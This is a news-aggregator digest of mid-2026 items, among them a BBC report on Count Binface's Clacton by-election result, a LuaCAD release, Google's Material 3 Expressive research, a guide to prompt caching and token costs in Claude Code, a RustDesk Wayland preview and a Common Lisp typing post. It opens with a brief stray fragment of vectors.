  • A → [1, 2, 0, 0]

  • B → [1, 0, 1, 1]

  • C → [0, -1, 1, 0]

  • Sample from the continuous cosine waves at discrete time points 1t, 2t, 3t, to 10t.

Count Binface receives over a quarter of votes in Clacton by-election

Hacker News
www.bbc.com
2026-08-14 12:45:49
Comments...
Original Article

Getty Images A man with a bin on his head poses triumphantly outside a giant glass window. The bin is silver with a slit cut out for his eyes and a square hold for his mouth. He also wears black gloves, a black breastplate, knee and elbow guards, and a long silver cape. Getty Images

Count Binface is standing against Nigel Farage in the Clacton by-election

Count Binface, the self-styled intergalactic space warrior, has received nearly 10,000 votes in the Clacton by-election, his best performance yet.

Farage has re-won his seat, receiving more than 22,000 votes in Clacton, on the Essex coast.

Binface received 26.9% of the vote while Farage won 63.3%. Binface had his highest share yet with 9,455 votes, having lost to no fewer than three prime ministers, and one who later became prime minister, in previous attempts.

But how many votes has he previously received? And where does he fit into the British tradition of spoofing politicians?

2017: May the force be with you

Getty Images A row of candidates can be seen on stage at the election count. Theresa May is on the far left of at least nine candidates on stage. She wears a bright red skirt suit and matching high heels, with her grey hair in a neat bob. She has her hands clasped on front of her and is smiling wryly. Lord Buckethead is on the far left of the row of candidates and is doing a dab. He wears a large black bucket on his head, with black armour and a black cape with a sliver lining. Getty Images

Theresa May (far left) keeps her distance from Lord Buckethead at her election count

The man inside the bin is the comedian Jon Harvey, an Oxford graduate who has specialised in satire, writing scripts for BBC comedy shows The Thick of It and Have I Got News For You.

He first donned a bin on his head to stand for election in 2017, when he challenged the then Prime Minister Theresa May in her Maidenhead constituency, although back then he was known as Lord Buckethead, a character inspired by a Star Wars parody film.

He won 249 votes and viral fame, leading to an appearance on John Oliver's HBO show Last Week Tonight - as well as a legal dispute with another Lord Buckethead he described at the time as "an unpleasant battle on the planet Copyright".

2019: The bin takes on Boris Johnson

Getty Images Boris Johnson is in the centre of the photo, wearing a black suit with a pale blue shirt and a red spotted tie. Behind him to the right is Count Binface, wearing a large silver bin on his head and a silver cape. On his right is a man dressed as the fuzzy red Sesame Street character Elmo. Getty Images

Binface gets in the picture as Boris Johnson is re-elected as MP for Uxbridge

Harvey found himself a different bin to cover his head and switched characters to Count Binface to take on the next Conservative leader, Boris Johnson, announcing himself as the leader of the Recyclons from planet Sigma IX.

He only won 69 votes, but was again able to take his place on stage as the election result was declared alongside a sitting prime minister, who was also flanked by a candidate dressed as the Sesame Street character Elmo, at his Uxbridge election count.

2024: Sunak takes out the trash

Getty Images Rishi Sunak is standing on stage in front of a bright purple backdrop with the slogan visit North Yorkshire. He is on the left of the photograph, giving a speech at a podium, with other candidates lined up to his right. Count Binface is standing on the right of the stage in his costume. Getty Images

Binface had competition from a Monster Raving Loony ventriloquist at Rishi Sunak's count

A third Conservative leader, Rishi Sunak, was in Count Binface's sights in the 2024 general election campaign.

He got 308 votes, which at the time was his best result.

The Monster Raving Loony Party's candidate, Sir Archibald Stanton, received 99 votes - 0.2% of the vote share.

2026: Burnham courts the Count

Getty Images Burnham is in the centre of the photograph, wearing a black suit over a black t-shirt, and shaking hands with Count Binface on his left. To his right is a man dressed as a fox, holding a placard reading Protect British Wildlife. Getty Images

Newly-elected MP for Makerfield Andy Burnham shakes hands with the Count

In June this year, it was Andy Burnham's turn to face Binface in the by-election that paved the way for the then Greater Manchester Mayor to become prime minister.

Rather than studiously ignoring the intergalactic warlord, as some may have been tempted to do, Burnham shook him warmly by the hand as he was elected Labour MP for Makerfield.

Binface bagged just 95 votes to Burnham's 24,927.

2026: The Bin's best result yet

While Nigel Farage won the Clacton by-election on Friday morning, Count Binface came second.

The Reform UK leader got 22,239 while Count Binface received 9,455. The intergalactic space warrior celebrated the number with his usual two peace sign fingers.

Speaking to BBC Breakfast after, Binface said: "I promised to be a local champion for Clacton and I thought to hear the verdict of the Clactonites was the least I could do."

A great British tradition?

The UK has a rich history of novelty candidates standing in elections, with Monster Raving Loony Party founder Screaming Lord Sutch - a rock musician who fought more than 40 elections in his trademark top hat and gold lame suit - first standing in a by-election in the 1960s. A different Lord Buckethead stood in 1987 and 1992, while comedian Al Murray's pub landlord stood against Farage in 2015.

Objections to such "frivolous" candidates date back even further - to 1918, when a £150 deposit was introduced for candidates. That was later upped to £500, in 1985, in large part due to the popularity of the Monster Raving Loony Party.

BBC/ Willie Smith Screaming Lord Sutch of the Monster Raving Loony Party, at their 1990 party conference. He wears a leapoard skin suit with a matching leopardskin top hat and is sitting astride an orange spacehopper. He is wearing several giant yellow and black rosettes and carries a golden loudhailer, all with the slogan Vote Lord Sutch. He is surrounded by a group of supporters also riding spacehoppers in a car park. BBC/ Willie Smith

Screaming Lord Sutch was co-founder of the Monster Raving Loony Party in 1982

But the bar for entry remains fairly low: anyone over the age of 18 who can scrape together a £500 deposit and get support from 10 people in the form of signatures is allowed to stand as a candidate in UK elections.

That's why Count Binface has been able to stand in so many high-profile elections. He has, however, lost his £500 every time, after failing to meet the minimum 5% of votes cast in order for his deposit to be returned.

Yet Binface has had his moment in the spotlight each time.

That is because another British tradition means all election candidates must stand side-by-side on a stage at the election count to hear how many votes they have each received - it's a literal leveller, where everyone from prime minsters to a bloke dressed as a bin has the right to be seen and heard as an official candidate.

But all of these no-hope novelty candidates share a few serious aims: to poke fun at power, prick the pomposity of political elites, and allow people a protest vote.

Thin, red banner promoting the Politics Essential newsletter with text saying, “Get the latest political analysis and big moments, delivered straight to your inbox every weekday”. There is also an image of the Houses of Parliament.

Show HN: LuaCAD – Parametric CAD Scripted in Lua

Hacker News
luacad.ad-si.com
2026-08-14 12:43:22
Comments...
Original Article

Scriptable CAD with Lua. Write parametric 2D and 3D models in Lua and export them to 3MF, STL, OBJ, PLY, OFF, AMF, or SCAD, or render them straight to a PNG.

LuaCAD embeds Lua 5.4 in a Rust engine that evaluates CSG operations directly (via Manifold ) or generates OpenSCAD code for external rendering.

LuaCAD Studio previewing the MuSHR racecar model, a 43-part assembly
          of 490,802 triangles, beside the Lua script that builds it

Why Lua?

  • Similar syntax as the OpenSCAD language, but better:
    • More powerful
    • More consistent
    • Faster
    • Easily embeddable
  • Operator overloading for natural CSG syntax ( a + b , a - b , a * b )
  • Already used in other CAD software like LibreCAD and Autodesk Netfabb

Example

LuaCAD:

my_cube = cube { size = { 1, 2, 3 } }

function my_sphere(radius)
  return sphere({ r = radius }):translate(5, 0, 0)
end

model = my_cube + my_sphere(2)

render(model)

Equivalent OpenSCAD:

module my_cube() {
  cube(size=[1,2,3]);
}

module my_sphere(radius) {
  translate([5,0,0]) sphere(r = radius);
}

union() {
  my_cube();
  my_sphere(2);
}

Getting Started

cargo install luacad         # CLI for running and converting LuaCAD scripts
cargo install luacad-studio  # GUI desktop app with live 3D preview

Or from source, which requires Rust :

git clone https://github.com/ad-si/LuaCAD.git
cd LuaCAD
make install

Both crates vendor their C/C++ dependencies, so no system libraries need to be installed — but a C++ compiler and CMake must be available to build them. luacad builds Manifold and Clipper2; luacad-studio additionally builds OpenCSG , which needs OpenGL development headers (on Debian/Ubuntu: libgl1-mesa-dev , libx11-dev , libxcb1-dev , libxkbcommon-dev , libxrandr-dev , libwayland-dev ).

CLI Usage

luacad convert model.lua output.3mf   # Convert to 3MF
luacad convert model.lua output.stl   # Convert to STL
luacad convert model.lua output.scad  # Export as OpenSCAD
luacad watch model.lua output.3mf     # Rebuild on file changes
luacad render model.lua preview.png   # Render to a PNG image
luacad info model.lua                 # Print triangle counts and bounding box
luacad lint model.lua                 # Lint with selene (also takes directories)
luacad run model.lua                  # Execute (side-effects only)

convert and watch infer the format from the output extension; --format <fmt> overrides it, and --via-openscad hands the export to an installed OpenSCAD binary instead of building the mesh with Manifold.

BOSL2

LuaCAD has full support for the Belfry OpenSCAD Library v2 , reimplemented in LuaCAD itself, so it renders, previews and exports to a mesh without OpenSCAD or BOSL2 installed:

bosl.cuboid { {40, 40, 40}, rounding = 2 }
bosl.regular_prism { 5, r = 10, h = 25 }
bosl.spur_gear { circ_pitch = 5, teeth = 20, thickness = 5 }

Exporting to .scad still writes the BOSL2 call itself, which keeps the exported file as short as the script that produced it.

Text and Imports

text() outlines a system font into a sketch and text3d() extrudes it in one step, so text becomes real geometry rather than SCAD output:

render(text("LuaCAD", { size = 12, halign = "center" }):linear_extrude(2))

import() reads every mesh format LuaCAD writes and returns a solid you can transform and combine like any primitive; SVG and DXF return a 2D sketch instead, ready to extrude.

Supported Export Formats

  • SCAD - OpenSCAD format
  • 3MF - 3D Manufacturing Format
  • STL - Standard Triangle Language for 3D printing
  • OBJ - Wavefront 3D object format
  • PLY - Polygon File Format
  • OFF - Object File Format
  • AMF - Additive Manufacturing File Format

Every value your script returns becomes its own 3MF object, so slicers load them as individually movable parts. Label them with :name(…) to control how they appear in the object list. The other formats cannot express separate objects, so they flatten everything into a single mesh.

Google’s ‘Material 3’ Design Write-Up Is 93.3 Percent Embarrassing

Daring Fireball
design.google
2026-08-14 12:33:55
This page from Google Design on their “Material 3” UI language came to my attention after my snarky post about the ungainly new to-do app they bizarrely bragged about on Twitter/X this week. I don’t think this “Material 3” page is new — I think it’s a few years old — but I’d never seen it before. F...
Original Article

Better, Easier, Emotional UX

The research behind Google’s bold new direction for design

Material 3 Expressive is the most researched update to Google’s design system, ever. Here, Material researchers share the data behind the designs and new insights into users’ preference for emotion-driven UX.

Material 3 Expressive was born out of research — not in the 41 shades of blue kind of way, which delegated design decisions to data, but in a collaborative inquiry spanning research, design, and engineering. Back in 2022, our research intern was studying user sentiment toward Material Design in Google apps. After mentioning her initial findings to colleagues in a Munich beer hall, she sparked a team-wide design debate: Why did all these apps look so similar? So boring? Wasn’t there room to dial up the feeling ?

Over the past three years, we’ve explored the implications of this conversation, iterating through dozens of rounds of design and research to find the next evolution of Material Design. Through 46 separate research studies with hundreds of designs, and more than 18,000 participants from around the world, we’ve fine tuned a system that’s both beautiful and highly usable. Material 3 Expressive principles are rooted in solid research and built on long-standing usability best practices. Designers can confidently apply these new components and principles knowing they’re building something easy to use and connect with.

What is expressive design?

Expressive design makes you feel something. It inspires emotion, communicates function, and helps users achieve their goals. Want to dive deeper? Check out the official Material 3 Expressive guidelines . The fundamental parts of expressive design are the use of color, shape, size, motion, and containment. These design aspects are also fundamental to what makes a product more usable by drawing attention to what matters in the interface: making key actions stand out and grouping like elements together.

Vibrant smartphone apps using M3 Expressive tactics and components.

Material 3 Expressive's bold use of shape and color creates delightful user experiences.

Researching Material 3 Expressive

As the design team created initial concepts and explored how a more expressive design ethos could work across Google products, we embarked on a series of research studies using a variety of methods, including:

  • Eye tracking: Analyzing where users focused their attention
  • Surveys and focus groups: Gauging emotional responses to different designs
  • Experiments: Gathering sentiment and preferences
  • Usability: Seeing how quickly participants could understand and use an interface

To build a solid foundation, we started with research on individual components. For example: We evaluated options for progress indicators, assessing which made waiting time feel faster while also looking like it belonged on a premium phone. We studied how big a button can be, seeking improvements in tap time without overwhelming other items on the screen. We also ran several studies on the new floating toolbar , optimizing for designs perceived as modern, clean, and energetic as well as noticeable and usable. And we ensured that our designs were following accessibility requirements and best practices. In many cases, we chose to exceed existing standards for tap target size, color contrast, and other important aspects that can make interfaces easier to use. This research helped us create the building blocks and guidelines needed for this new evolution of Material Design.

People prefer expressive designs

When it comes to design, people really do prefer to feel something. We found that well-applied, expressive design is strongly preferred by people of all ages, with that preference being particularly strong — up to 87% — among 18-to-24-year-olds.

Horizontal bar chart shows the percentage of people who favor expressive design across different age groups.

While there was a net-positive indication across all age groups, younger study participants had the most enthusiastic preference for M3 Expressive and rated the designs as high in “visual appeal” and “intention to use.”

But top-level preference can only tell us so much. We wanted to dive into the design aspects that led to this preference. At last year’s Google I/O, we introduced a set of attributes that the Material team uses to compare designs. Maybe you noticed that many of these were emotional words? “Playful,” “energetic,” “creative,” “friendly,” and “positive vibe” are some examples. As we’ve been developing Material 3 Expressive, our researchers have worked with designers to iteratively test new screen designs against these attributes, helping to optimize the designs for a desired emotional reaction. In addition, we’ve sought to ensure that designs created with this new system are seen as more modern and visually appealing.

Vertical bar chart shows rating of attributes of expressive designs.

M3 Expressive designs were overwhelmingly rated higher for attributes such as “energetic,” “emotive,” “positive vibe,” “creative,” “playful,” and “friendly.”

Expressive designs feel relevant

Expressive design isn’t just about making a product look good; it can elevate how users perceive the product itself. We saw this in action when measuring the desirability of these designs. Existing research from Caleb Warren et al. (2019) explored what factors explain why some products become trendy, must-have items that everyone wants, while others — even with the same features — just don't have that appeal.

These factors can be quantified in users’ responses to new M3 Expressive designs. We found a 32% increase in subculture perception, which indicates that expressive design makes a brand feel more relevant and “in-the-know.” We also saw a 34% boost in modernity, making a brand feel fresh and forward-thinking. On top of that, there was a 30% jump in rebelliousness, suggesting that expressive design positions a brand as bold, innovative, and willing to break from convention.

Horizontal bar chart shows percent increase of switch-driving attributes.

M3 Expressive designs were rated higher across desirability attributes, including “modernity,” “subculture,” and “rebelliousness.”

Expressive designs are easier to use

Most importantly, expressive design is about improving user experience. M3 Expressive’s strategic use of color, size, shape, and containment follows from long-standing design principles and best practices, drawing attention to key elements and helping users navigate more quickly.

We brought a diverse set of people into a lab with the very latest eye-tracking glasses and had them interact with 10 different apps in both Material 3 Expressive and current Material 3 versions, randomly ordered. Participants were able to spot key UI elements up to four times faster in the M3 Expressive designs, suggesting that they steer user attention toward the most important part of the screen. We’ve seen many apps achieve these levels of improvement, which extend beyond eye-fixation times. The time it takes to tap on key actions, for example, decreased by seconds across different expressive designs we tested.

The email-app case study below persuasively illustrates the benefits of expressive principles. For example, the Send button in the new design (on the right) is larger, placed just above the keyboard, and uses a secondary color to draw attention to it. The non-expressive design, by contrast, places the small Send button in the top-of-screen toolbar alongside other controls like attaching a file. When participants were asked to “send the email,” their eyes saw the button four times faster in the expressive design.

Non-expressive email app.

Email app with the Send button in a standard top app bar.

Expressive email app.

By making the Send button larger and more prominent, participants were able to spot the button four times faster.

What’s particularly exciting is that expressive design seems to level the playing field for users of all ages. Usability tests typically find that older adults take longer to visually locate key UI elements. But with M3 Expressive versions, we’ve seen a dramatic erasure of age effects in fixation times, helping 45-plus-year-old users perform on par with their younger counterparts.

Line graph showing that UI elements were spotted faster in expressive designs.

M3 Expressive design enabled older users to spot key interactive elements on the screen just as fast as younger users across 10 apps tested.

Finally, and crucially, expressive design was shown to be more visually appealing, intuitive, and easy to use for participants with varying movement and visual abilities. Larger buttons, high-contrast visual containment, and other key attributes of M3 Expressive designs make interfaces better and more usable for everyone.

Context still matters

While expressive design offers exciting possibilities, it’s not a one-size-fits-all solution. What works in a media player or email app might not be suitable for something like a banking interface. Product makers need to respect well-established UI patterns and standards.

One design we tested didn’'t stick to the patterns and standards of our design system: For a playlist, we replaced the familiar vertically scrolling list of songs with images from album art arranged helter-skelter. While users reported the interface looked modern and exciting, usability scores suffered. In another example, removing text labels from email actions resulted in decreased usability. This is why we have a design system that tells you how to use expressive components. When basic interaction paradigms are broken, expressive design can lead to poor usability or negative sentiment.

Non-expressive design for a music playlist.

The familiar UX pattern of a carousel and vertical list is effective in this design for a music playlist.

Expressive design for a music playlist

No amount of expressive design will beat basic functionality. The unstructured and unlabeled images weren’t recognized as a music playlist in this concept design.

It is also worth noting that while expressive design improved preference and usability, it was impacted by users’ lack of familiarity. This is a challenge that designers will have to navigate, but we expect to see familiarity increase as more and more apps adopt this new style in the coming months.

Get started

It's time to move beyond “clean” and “boring” designs to create interfaces that connect with people on an emotional level. Ready to try it out for yourself? We have a few tips:

  • Start experimenting: Dive into the updated Material 3 Design Kit for Figma and start playing with the expressive design options.
  • Try the tactics: Explore using the M3 Expressive design tactics , while also tailoring your UI to support core user journeys.
  • Be intentional and start from user need: While there was broad appeal for vibrant, expressive design, a strong minority of users preferred calmer, less intense versions. Always start with what your users need. Understand their requirements and critical user journeys before determining the right choice of tactics and components.
  • Prioritize functionality: Don’t compromise your product’s core functionality for visual flourishes. No amount of emotion can compensate for a lack of clarity.
  • Follow accessibility standards: Adhere to established guidelines for color contrast, screen reader compatibility, navigation, and other best practices for accessibility.
  • Iterate, iterate, iterate: Use research to find the right balance between freshness and familiarity, playfulness and professionalism. Our design scales can give you a head start. And don’t forget critical usability research to ensure you haven’t gone too far.

Special thanks to all of the researchers and designers who made this research possible, with special shoutouts to Bradley Patrie, Dallas Barnes, Viviane Herdel, Nico Thornley, Mason Price, Mohammed Khwaja, and Brenton Simpson.

Dive into M3 Expressive

(opens in a new tab or window)

Your Guide to M3 Expressive

Get a full introduction to the latest evolution of Material, including new components and style updates.

(opens in a new tab or window)

Updated: Figma M3 Design Kit

Quickly create design mockups and prototypes with the latest Material 3 Expressive components and styles.

Behind the Blog: Endless Scam Parade

403 Media
www.404media.co
2026-08-14 12:21:39
This week, we discuss the mainstreaming of Flock, media appearances, and Spotify's AI move....
Original Article

This is Behind the Blog, where we share our behind-the-scenes thoughts about how a few of our top stories of the week came together. This week, we discuss the mainstreaming of Flock, media appearances, and Spotify's AI move.

EMANUEL: The news that Spotify will start tagging artists on its platform as being AI generated , and that it will not promote them, might be a sign that we’re approaching peak AI slop. What that moment looks like, to me, is not about the sheer quantity of AI generated content in the world, but about the tipping point where people and more importantly platforms, start rejecting that content algorithmically. Platforms could do this by attempting to detect and limit the spread of that content, and people will do it organically by expressing their preferences with clicks, time on page, and other signals that inform the algorithm.

This post is for paid members only

Become a paid member for unlimited ad-free access to articles, bonus podcast content, and more.

Subscribe

Sign up for free access to this post

Free members get access to posts like this one along with an email round-up of our week's stories.

Subscribe

Already have an account? Sign in

Maximizing the value of your Claude Code sessions

Hacker News
claude.com
2026-08-14 12:15:21
Comments...
Original Article

Input and output tokens

A request goes through the GPU in two phases, and they cost different amounts.

First, during prefill, the model reads your request and context: the system prompt, your CLAUDE.md , your message, and everything that's been added to the conversation since (the files Claude has read and the output of the commands it ran). Those are your input tokens.

Then, during decode, it writes output tokens: its thinking, the tool calls it makes, and the text you see. This happens one token at a time; a 200-token response is 200 runs of the model, one after the other. Per token, decode keeps the GPU busy for a lot longer, which is why output is priced at roughly 5x input.

A lot of the output tokens in a session are thinking tokens, and how much thinking the model does per turn is what the effort level controls. Like the model, the level you pick with /effort sticks around as your default for the next session too.

Tip: run /model and /effort once in a fresh session to see what you're actually on. Both remember whatever you picked last time, and you want that decision to be deliberate.
Tip: if you already know a session is going to be grunt work, MAX_THINKING_TOKENS=0 claude turns thinking off for that one session (except on Fable 5), which is the step below /effort low.

Prompt caching

If a request starts with exactly the same tokens as a request the server just saw, the state for that shared beginning comes out the same, so the server can keep it around from last time and only prefill whatever comes after it. This is called prompt caching.

Reading from the cache costs 0.1x the input price, because the server loads the state instead of computing it. Writing tokens into the cache costs a bit more than normal input, up to 2x, since the server also has to hold on to the state afterwards. But the write happens once per token, and the 0.1x reads happen on every turn after it.

Claude Code manages the prompt cache on every request, there's nothing to turn on. However you can break it, so it's important to know how to avoid these cost spikes.

Say we type "fix the failing test in utils.test.ts ". Here's what Claude Code sends for it:

  1. Claude Code assembles the first request out of the system prompt (tool definitions included), your CLAUDE.md , and your message, and sends it off (input tokens). Nothing is in the cache yet, so all of it gets prefilled and written into the cache.
  1. The model can't fix a test it hasn't seen, so it thinks for a moment and responds with a Read call for utils.test.ts (output tokens). Claude Code reads the file, appends it to the conversation, and sends the whole thing again (input tokens). This time everything from request 1 is read back out of the cache at a tenth of the price, and the only thing prefilled at full price is what's new: the Read call and the file.
  1. Now the model wants the file under test (output). Another Read, another append, and everything goes out again: requests 1 and 2 from the cache, the second file at full price (input).
  1. The model responds with an Edit (output). Claude Code applies it, appends the result, and sends everything again. Same story: the Edit and its result are new, everything in front of them is a cache read (input).
  1. The model runs npm test (output). Claude Code appends the test output and sends everything again, with the test output as the only new part (input).
  1. The tests pass, and the model responds with a short summary (output). No tool call means nothing to append and no request 6, so we're done.

That's five requests for one small fix, and every one of them contained the entire conversation up to that point. A typical turn is lopsided: tens of thousands of tokens going in, a few hundred coming out. But only what's new in that turn gets prefilled at full price.

That's the whole per-turn bill: cache reads on the history, full input price on whatever's new, and the output price on the response.

This applies on a subscription too. You don't see these prices directly, but the same requests are what draw down your limits.

The cache has to match from the very start of the request forward, and requests always go out in the same order: tool definitions, then the system prompt, then the conversation (with CLAUDE.md at the front of it).

If anything in that prefix changes, everything behind it gets prefilled again. A tool result appended to the end of the conversation is the ideal case, since nothing is behind it. What throws the cache away is anything that changes the request further towards the front, or changes what the cache is keyed on:

  • /model : every model has its own cache, so on the next turn the entire conversation gets prefilled again at full price. (This includes opusplan, which switches models every time you go in or out of plan mode.)
  • /effort: the effort level is part of what the cache is keyed on too, so it's the same story. It's why both /model and /effort ask you to confirm when you switch in the middle of a conversation.
  • Fast mode : also part of the key, and the re-prefill happens at fast mode prices, so if you're going to turn it on, turn it on at the start. (Turning it off again is free, cache-wise.)
  • /compact : the conversation gets replaced with a shorter one, so nothing in it matches anymore (the system prompt in front of it survives). Writing the summary itself is cheap as long as the old conversation is still in the cache, so it's a lot cheaper before a long break than after one.
  • Time: every turn resets the clock, but the cache expires after an hour on a subscription or five minutes on an API key ( ENABLE_PROMPT_CACHING_1H=1 makes it an hour). Come back later than that, and the next turn prefills the whole conversation again. Resuming an old session almost always does too: the cache is usually gone by then, and the system prompt gets rebuilt at launch anyway.

None of this means you should never switch models or effort. It means there are cheap moments to do it, the start of a session or right after a /clear , and expensive ones, the middle of a long conversation.

Tip: if the last few turns went somewhere you don't want to keep, /rewind to just before them instead of running /compact . Rewinding only cuts those turns off the end, so everything before them is still cached and it costs nothing. Compacting rewrites the whole conversation, so it always costs something.

What decides how many tokens a session sends

The main thing to know here is that nothing gets sent just once. Everything that ends up in the conversation, a file Claude read or the output of a command it ran, gets sent again on every turn after it, for the rest of the session.

It's cached, so each of those re-sends is cheap, but cheap isn't nothing, and it's taking up room in the context the model has to think around on every turn too.

That's really the whole cost model of a session: how many tokens end up in the context, how many turns they stay there, and how many contexts you're running at the same time.

What ends up in the context

Part of what's in the context is there before you type anything: the tool definitions, the system prompt, CLAUDE.md , and whatever else gets loaded at startup.

Tip : run /context in a fresh session to see what's in there before you've typed anything. Keep CLAUDE.md to specific instructions and move workflow-specific ones into skills, which only get loaded when they're used. If there's an MCP server you don't need in this session, turn it off with /mcp .

Nearly everything else that gets added during the session is tool results: the files Claude reads, and the output of the commands it runs.

How much Claude reads mostly comes down to how much it has to figure out on its own. If you say "the tests are failing", it first has to find out which tests: a grep or two, a few files opened to see which one is relevant, and all of those results stay in the context long after they've stopped being useful.

"Fix the failing test in utils.test.ts " skips the searching and costs one Read call for the file, and "Fix the failing test in @utils.test.ts " doesn't cost the Read call either.

Tip: when you're referring to a file, @-mention it instead of typing the path. Claude Code attaches the file to your message before anything gets sent, so it's in the very first request and there's no Read call for it. The file itself takes up the same room in the context either way, so you only need to mention it once per conversation: it stays there, and @-mentioning it again on a later turn generally attaches a second copy.

The other thing that fills up the context is the output of the commands Claude runs. Every time it runs your tests, a build, or a git log, whatever that prints gets appended to the conversation just like a file it read, and stays there for the same number of turns.

Really big outputs are actually fine: after 30,000 characters Claude Code writes the output to a file and only puts a short preview and the path in the conversation ( BASH_MAX_OUTPUT_LENGTH if you want to change it).

The problem is everything under that. A test runner that prints 400 passing tests one line at a time comes in under the limit, and those 400 lines are now part of every remaining turn.

Claude will often take care of this for you with flags and tail, and if you'd rather not leave it up to Claude, there's a small hook in the docs that rewrites noisy commands before they run so only the lines that matter come back.

Tip : put the two or three commands you run all day in CLAUDE.md , quiet flags included, the way you'd type them yourself ("run a single test file with npx vitest run <file> --reporter=dot" ). It's a small addition, but it saves a turn and a few hundred lines of output in every session after it.

How many turns it stays there

One long session costs more than the same work spread over a few short ones, and by more than you'd think, because turn 40 is also re-reading the 39 turns before it. You want the context in your session to be short and relevant, so don't carry one task's context into the next: /clear when you start something new, and /compact when the earlier part of the same task is done.

Tip : /rename before you /clear if you'll want the session back later. When you /compact , tell it what to keep, or put a "Compact instructions" section in CLAUDE.md if it's always the same thing. And if you're on a 1M model and would rather have the auto-compact safety net where it used to be, /autocompact 200k puts it back (needs Claude Code v2.1.221+).

Keep an eye on turns that happen when you're not typing, too. A /loop fires as a full turn in the session you set it up in, carrying that whole conversation with it every time, and if it's been more than an hour since the last turn, it's a cache miss on top. Start a fresh session in another terminal and run the loop from there.

Subagents

The other way to keep something out of your context is to have it happen in a different one, which is what subagents are for. A subagent gets its own context window, with its own system prompt, the tools, and your CLAUDE.md , but not your conversation. It runs its own turns, and the only thing that comes back to the main session is its answer. Everything else is thrown away once it's done.

The downside of not having your conversation is that a subagent sometimes has to re-read things the main session already had, and it's paying for its own turns while it does. For a small job it's just overhead.

It pays off when a job produces a lot of output you don't need to keep, like going through a log. Claude will often reach for one on its own for that kind of thing, and you can ask for one directly when it doesn't ("go through this log in a subagent"). Just keep in mind that the main session only gets back what the subagent chose to report.

Tip : if there's a noisy job you hand off over and over, give it a subagent definition of its own with model: haiku (or sonnet). Otherwise it runs on whatever your main session is running on.

Where to look first

Of everything above, four things are worth keeping an eye on, roughly in order of how much they cost:

RustDesk now supports true unattended remote access on Wayland

Hacker News
rustdesk.com
2026-08-14 12:12:52
Comments...
Original Article

Wayland support has been one of the harder parts of Linux remote desktop.

RustDesk can now provide true unattended access on Wayland , without requiring someone at the remote machine to approve every session. Multi-monitor setups are supported as well.

After the initial setup, you can connect even when no one is at the remote machine — including from the login screen after a reboot.

For now, we are releasing this as a separate preview build for x86_64 Debian/Ubuntu-based systems :

Download the Wayland unattended access build

Wayland support is still limited in several major remote desktop products. AnyDesk currently requires Xorg for incoming Linux sessions, while TeamViewer still describes Wayland support as experimental for common desktop environments.

We would like to get more real-world testing before making this the default.

Once the implementation is stable, we plan to bring unattended Wayland access to more Linux distributions, including Fedora and Arch Linux , and eventually include it in the standard RustDesk releases.

If you use Wayland, especially with multiple monitors, please give the preview build a try and let us know what works—and what doesn’t.

Unexpected (to me) behaviour in Lisp sub-typing

Lobsters
simondobson.org
2026-08-14 12:08:17
Comments...
Original Article

I just encountered some unexpected behaviour in how Common Lisp (or at least SBCL ) handles array sub-typing.

Suppose you have a structure declaration like this:

  (defstruct A
    (a #1A() :type (simple-array integer)))

We can create instances of this struct by providing an initial value, and it will be type-checked.

#S(A :A #(1 2 3))

We can also omit the argument and get the default specified in the declaration:

#S(A :A #())

So far so good. But suppose we now specialise the simple-array type against a type such as (unsigned-byte 16) (the type of unsigned 16-bit integers).

  (defstruct B
    (b #1A() :type (simple-array (unsigned-byte 16))))

  (make-b :b #1A(1 2 3))

This generates an error, as does using the default value.

Why is this? I eventually tracked the problem down to the fact that the expression #1A() is given type (simple-vector 0) while the expression #1A(1 2 3) is given type (simple-vector 3) , and neither of these are sub-types of (simple-array (unsigned-byte 16)) :

(SIMPLE-VECTOR 0)
(SIMPLE-VECTOR 3)
(typep #1A(1 2 3) '(simple-vector 3))
T
(typep #1A(1 2 3) '(simple-array (unsigned-byte 16)))
NIL

So the typing works for integer (and indeed for number and float ) but not for the constrained types like (unsigned-byte 16) – although it does work for unsigned-byte (with no width).

Interestingly the tests fail for empty arrays as well:

  (typep #1A() '(simple-array (unsigned-byte 16)))
NIL

I assume that the behaviour is because the compiler is at liberty to optimise the storage of arrays with specific types, and doing so makes it awkward to compare against types like simple-vector that don’t contain their element type. This would also explain why the check succeeds for types like integer , whose values are stored boxed and so can represented uniformly.

There’s a simple way around this, of course, once you know what the problem is: make the type of the value explicit rather than relying on the reader macro. For example:

  (defstruct C
    (c (make-array '(0) :element-type '(unsigned-byte 16)) :type (simple-array (unsigned-byte 16))))

  (make-c)
#S(C :C #())

and also:

  (make-c :c (make-array '(3) :element-type '(unsigned-byte 16) :initial-contents (alexandria:iota 3)))
#S(C :C #(0 1 2))

I can’t find this behaviour detailed in the manuals (or anywhere else) though. However, it seems to be related to the upgraded array element type . When an array is created, the implementation is allowed to use a different type to the one specified in its representation, which must be a supertype of the type requested. For types like integer and unsigned-byte this is t , the top type in the lattice:

  (upgraded-array-element-type 'unsigned-byte)
T

But for the “constrained” types the upgraded type is the type itself:

  (upgraded-array-element-type '(unsigned-byte 16))
(UNSIGNED-BYTE 16)

This suggests to me that the compiler ( SBCL ) is indeed optimising the representation and then also performing more detailed type-checking for elements.

Slop Bowl Salad Meets Shoppy Shop Fish

hellgate
hellgatenyc.com
2026-08-14 12:07:48
Thoughts on Sweetgreen's limited edition Fishwife niçoise salad....
Original Article

I heard about the salad exactly how I was supposed to: on social media , from someone who'd probably been paid to post about it. Finally, we can all breathe a sigh of relief: Tinned fish has finally made its way to Sweetgreen for the first time ever, thanks to a collaboration with Fishwife, in the form of a niçoise salad.

As a 31-year-old woman who works in an office in Manhattan and watches Instagram Reels like it is my side hustle, I am close enough to the target demographic for this kind of thing. And really, as soon as I became aware of the Fishwife x Sweetgreen niçoise salad, I felt a wave of acceptance wash over me. I had to try the salad. I would try the salad. I was supposed to try the salad. And really, the least I could do was document the experience.

For the uninitiated, Fishwife is a woman-owned, upscale tinned seafood purveyor with absurdly good branding that makes up one third of the Marked-Up Pantry Staples Holy Trinity (along with Fly by Jing chili crisp and Graza olive oil, obviously ). As the old adage goes: If you walk into a charmant and expensive shoppy shop and it doesn't have Fishwife on the shelves, do not spend $45 dollars there. Sweetgreen, on the other hand, is the ur- sad desk lunch , the slop bowl that launched a thousand build-it-yourself chains, and most recently, the subject of a Hell Gate blog about its robot salad-makers .

A disclaimer before I get into it: I've popped a few Fishwife tins in my day, and obviously I've had Sweetgreen before, but this particular lunch was my very first experience with a niçoise salad. I'm a niçoise naïf. So maybe take everything that follows with a grain of salt—salt that, in my opinion, the Fishwife niçoise salad could have used. But more on that later.

Give us your email to read the full story

Sign up now for our free newsletters.

Sign up

France blocks social media ban because it would require adults to prove age

Hacker News
www.reuters.com
2026-08-14 12:06:49
Comments...
